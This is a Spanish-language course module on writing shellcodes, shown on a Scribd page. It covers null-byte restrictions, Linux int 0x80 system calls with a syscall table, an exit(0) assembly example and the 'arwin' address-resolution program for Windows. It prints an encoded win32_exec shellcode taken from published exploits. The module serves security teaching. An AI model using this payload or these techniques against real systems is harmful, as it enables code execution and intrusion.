0% encontró este documento útil (0 votos)
3 vistas10 páginas

Guía Completa sobre Shellcodes

El documento aborda la creación y ejecución de shellcodes, que son fragmentos de código ejecutables tras aprovechar vulnerabilidades en aplicaciones. Se discuten las diferencias en la escritura de shellcodes para sistemas operativos Linux y Windows, incluyendo las llamadas al sistema y las restricciones en la introducción de caracteres. Además, se proporciona un ejemplo de shellcode y se detalla la importancia de conocer la dirección de funciones en Windows para su correcta ejecución.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
3 vistas10 páginas

Guía Completa sobre Shellcodes

El documento aborda la creación y ejecución de shellcodes, que son fragmentos de código ejecutables tras aprovechar vulnerabilidades en aplicaciones. Se discuten las diferencias en la escritura de shellcodes para sistemas operativos Linux y Windows, incluyendo las llamadas al sistema y las restricciones en la introducción de caracteres. Además, se proporciona un ejemplo de shellcode y se detalla la importancia de conocer la dirección de funciones en Windows para su correcta ejecución.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Shellcodes

PID_00208393
José María Alonso Cebrián
Jordi Gay Sensat
Antonio Guzmán Sacristán
Pedro Laguna Durán
Alejandro Martín Bailón
Jordi Serra Ruiz
© FUOC • PID_00208393 Shellcodes
Ninguna parte de esta publicación, incluido el diseño general y la cubierta, puede ser copiada,
reproducida, almacenada o transmitida de ninguna forma, ni por ningún medio, sea éste eléctrico,
químico, mecánico, óptico, grabación, fotocopia, o cualquier otro, sin la previa autorización escrita
de los titulares del copyright.
© FUOC • PID_00208393 Shellcodes
Índice
Introducción............................................................................................... 5
1. Escritura de Shellcodes..................................................................... 7
1.1. Llamadas al sistema en Linux ..................................................... 7
1.2. Llamadas al sistema en Windows ............................................... 9
2. Shellcodes por entrada estándar.................................................... 13
3. Shellcodes alfanuméricas................................................................. 14
4. Un ejemplo de Shellcode................................................................... 18
5. Dirección de la función a llamar.................................................. 20
6. La shellcode en ensamblador.......................................................... 21
7. La shellcode en binario..................................................................... 22
8. El exploit con la shellcode................................................................ 24
© FUOC • PID_00208393 5 Shellcodes
Introducción
Llegados a este módulo, tras ver en los anteriores cómo se podía cambiar el
flujo del programa y cómo conseguir enviar el control de ejecución a una
dirección de memoria concreta, vamos a ver cómo se puede introducir un
programa para ser ejecutado aprovechando una vulnerabilidad. Es decir, cómo
introducir y ejecutar una shellcode.
El término shellcode se utiliza para referirse a todo aquel código que se con-
sigue ejecutar tras aprovechar un exploit en una aplicación o servicio. Actual-
mente existen shellcodes con multitud de objetivos y funciones, pero se sigue
manteniendo el término shellcode debido a que originariamente estos trozos
de código estaban pensados para devolver una shell o interfaz de comandos
con privilegios de la cuenta vulnerada en el sistema.
Si echamos un vistazo a algunos de los exploits publicados en Internet en web-
sites de exploits, como por ejemplo en [Link] se puede ob-
servar que muchos de los códigos de exploits que se publican contienen un seg-
mento de código llamado shellcode que tiene, aproximadamente, la siguiente
apariencia:
# win32_exec - EXITFUNC=seh CMD=[Link] Size=164 Encoder=PexFnstenvSub [Link]
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";
Shellcode en un exploit
A pesar de su apariencia un tanto tosca y de ser de difícil lectura a primera vista,
la estructura que se sigue en la creación de una shellcode es bastante sencilla
de entender y podremos analizar correctamente la acción que está realizando.
© FUOC • PID_00208393 6 Shellcodes
Una shellcode no es más que un código escrito en ensamblador convertido a
instrucciones en hexadecimal para que pueda ser introducido directamente
en la memoria del sistema vulnerado.
La manera de introducir el código de la shellcode variará dependiendo del tipo
de bug que se aproveche, el tipo de exploit que se esté creando y las restriccio-
nes intrínsecas que nos imponga tanto la aplicación, debido al tamaño de va-
riables y los permisos con los que se ejecuta, como el sistema operativo con
sus protecciones frente a la ejecución de código arbitrario con técnicas como
ASLR o DEP, que serán vistas en módulos posteriores.
© FUOC • PID_00208393 7 Shellcodes
1. Escritura de Shellcodes
A la hora de escribir nuestras propias shellcodes debemos tener en cuenta una
serie de condicionantes que se enumeran a continuación:
• Imposibilidad de introducir el carácter nulo 0x00: si se observan unas
cuantas shellcodes, se puede ver rápidamente que no existen caracteres nu-
los en ninguna de ellas. Esto es así debido a que la mayoría de las funciones
que son vulnerables a técnicas de buffer overflow, es decir, de sobrescritura
de stack o heap, usan funciones que detectan el carácter 0x00 como fin de
línea. Al introducir el carácter nulo en una shellcode, el sistema cortará la
entrada de datos y así el código de la shellcode quedaría truncado.
• Diferencias entre Windows y Linux: Los sistemas operativos Linux y Win-
dows son estructuralmente distintos. La forma en que los códigos son eje-
cutados es diferente entre ambos, y las llamadas a funciones del sistema se
hacen de manera diametralmente opuestas. Esto implica que las shellcodes
que se generen serán totalmente diferentes, dependiendo de los sistemas
operativos.
1.1. Llamadas al sistema en Linux
En Linux las llamadas a la API del sistema se hacen de una manera estática. Es
decir, en todos los sistemas Linux se puede hacer referencia a una función del
sistema guardando en memoria el identificador y haciendo una llamada a la
interrupción 0x80. La lista de funciones que se pueden utilizar en un sistema
Linux es la siguiente:
00 sys_setup 48 sys_signal 96 sys_getpriority 144 sys_msync
01 sys_exit 49 sys_getuid 97 sys_setpriority 145 sys_readv
02 sys_fork 50 sys_setuid 98 sys_profil 146 sys_writev
03 sys_read 51 sys_acct 99 sys_statfs 147 sys_getsid
04 sys_write 52 sys_umount2 100 sys_fstats 148 sys_fdatasync
05 sys_open 53 sys_lock 101 sys_ioperm 149 sys__sysctl
06 sys_close 54 sys_ioctl 102 sys_socketcall 150 sys_mlock
07 sys_waitpid 55 sys_fcntl 103 sys_syslog 151 sys_munlock
08 sys_creat 56 sys_mpx 104 sys_setitimer 152 sys_mlockall
09 sys_link 57 sys_setpgid 105 sys_getitimer 153 sys_munlockall
Tabla de llamadas al sistema en Linux
© FUOC • PID_00208393 8 Shellcodes
10 sys_unlink 58 sys_ulimit 106 sys_stat 154 sys_sched_setparam
11 sys_execve 59 sys_oldolduname 107 sys_lstat 155 sys_sched_getparam
12 sys_chdir 60 sys_umask 108 sys_fstat 156 sys_sched_setscheduler
13 sys_time 61 sys_chroot 109 sys_olduname 157 sys_sched_getscheduler
14 sys_mknod 62 sys_ustat 110 sys_iopl 158 sys_sched_yield
15 sys_chmod 63 sys_dup2 111 sys_vhangup 159 sys_sched_get_priority_max
16 sys_lchown 64 sys_getppid 112 sys_idle 160 sys_sched_get_priority_min
17 sys_break 65 sys_getpgrp 113 sys_vm86old 161 sys_sched_rr_get_interval
18 sys_oldstat 66 sys_setsid 114 sys_wait4 162 sys_nanosleep
19 sys_lseek 67 sys_sigaction 115 sys_swapoff 163 sys_mremap
20 sys_getpid 68 sys_sgetmask 116 sys_sysinfo 164 sys_setresuid
21 sys_mount 69 sys_ssetmask 117 sys_ipc 165 sys_getresuid
22 sys_umount 70 sys_setreuid 118 sys_fsync 166 sys_vm86
23 sys_seuid 71 sys_setregid 119 sys_sigreturn 167 sys_query_module
24 sys_getuid 72 sys_sissuspend 120 sys_clone 168 sys_poll
25 sys_stime 73 sys_sigpending 121 sys_setdomainname 169 sys_nfsservctl
26 sys_ptrace 74 sys_sethostname 122 sys_uname 170 sys_setresgid
27 sys_alarm 75 sys_setrlimit 123 sys_modify_ldt 171 sys_getresgid
28 sys_oldfstat 76 sys_getrlimit 124 sys_adjtimex 172 sys_prctl
29 sys_pause 77 sys_getrusage 125 sys_mprotect 173 sys_rt_sigreturn
30 sys_utime 78 sys_gettimeofday 126 sys_sigprocmask 174 sys_rt_sigaction
31 sys_stty 79 sys_settimeofday 127 sys_create_module 175 sys_rt_sigprocmask
32 sys_gtty 80 sys_getgroups 128 sys_init_module 176 sys_rt_sigpending
33 sys_access 81 sys_setgroups 129 sys_delete_module 177 sys_rt_sigtimedwait
34 sys_nice 82 sys_select 130 sys_get_kernel_syms 178 sys_rt_sigqueueinfo
35 sys_ftime 83 sys_symlink 131 sys_quotactl 179 sys_rt_sigsuspend
36 sys_sync 84 sys_oldlstat 132 sys_getpgid 180 sys_pread
37 sys_kill 85 sys_readlink 133 sys_fchdir 181 sys_pwrite
38 sys_rename 86 sys_uselib 134 sys_bdflush 182 sys_chown
39 sys_mkdir 87 sys_swapon 135 sys_sysfs 183 sys_getcwd
40 sys_rmdir 88 sys_reboot 136 sys_personality 184 sys_capget
41 sys_dup 89 sys_readdir 137 sys_afs_syscall 185 sys_capset
42 sys_pipe 90 sys_mmap 138 sys_setfsuid 186 sys_sigaltstack
Tabla de llamadas al sistema en Linux
© FUOC • PID_00208393 9 Shellcodes
43 sys_times 91 sys_munmap 139 sys_setfsgid 187 sys_sendfile
44 sys_prof 92 sys_truncate 140 sys_llseek 188 sys_getpmsg
45 sys_brk 93 sys_ftruncate 141 sys_getdents 189 sys_putpmsg
46 sys_setgid 94 sys_fchmod 142 sys_newselect 190 sys_vfork
47 sys_getgid 95 sys_fchown 143 sys_flock
Tabla de llamadas al sistema en Linux
Por ejemplo, si se quisiera hacer una llamada a la función exit(0) sin que el
código contuviese ningún carácter nulo (recordemos la primera de las restric-
ciones), deberíamos generar el siguiente código ensamblador:
xor eax, eax ;Se limpia eax
mov al, 1 ;Se introduce 1 en la parte baja del registro eax por ser el código de exit
xor ebx,ebx ;Se limpia ebx (aquí irían los parámetros si hubiese)
int 0x80 ;Llamada a la interrupción del sistema
Llamada a la función exit
Cuando se llama a la interrupción 0x80 en Linux se configura en la parte
baja del registro EAX, es decir, la zona llamada AL, el número de la llamada al
sistema que se invoca y en el registro EBX la lista de los parámetros, en este
caso el valor cero.
Esto, al convertirse a una secuencia de números hexadecimales quedaría de
la manera \xb0\x01\x31\xdb\xcd\x80, lo cual cerraría el programa de ma-
nera inmediata.
1.2. Llamadas al sistema en Windows
En Windows, sin embargo, la posibilidad de llamar a una función depende
de que el programa vulnerable haya cargado la función. En el caso de las fun-
ciones del sistema pasa porque el programa afectado haya cargado la librería
[Link], lo cual ocurre siempre por defecto.
Dentro de esta librería hay acceso a las funciones LoadLibrary y GetPro-
cAddress, con las que se puede invocar otras librerías, permitiendo así el ac-
ceso a cualquier función que se necesite. El problema de Windows reside en
que, al contrario de Linux, las funciones no se encuentran siempre en la mis-
ma posición de memoria, sino que varían dependiendo de la versión del sis-
tema operativo e incluso de distintos Service Packs. A la hora de escribir una
shellcode, esta tendrá una dependencia fuerte con la versión del sistema ope-
rativo, funcionando solo en las versiones concretas de sistema operativo para
las que ha sido escrita.
© FUOC • PID_00208393 10 Shellcodes
Para poder llamar a una función del sistema en Microsoft Windows, prime-
ro es necesario conocer en qué posición de la memoria está ubicada. Esto es
una tarea fácilmente automatizable que podemos lograr mediante el programa
arwin, que se encuentra a continuación y que ha sido desarrollado por Steve
Hanna.
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;
printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}
hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);
if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}
Código del programa arwin
Cómo se puede ver en el código, este programa recibe dos parámetros: el nom-
bre de la librería y la función dentro de la librería de la que se desea conocer
su posición en memoria. Si la función está cargada, mostrará la dirección en
hexadecimal donde se ha cargado en el sistema.

También podría gustarte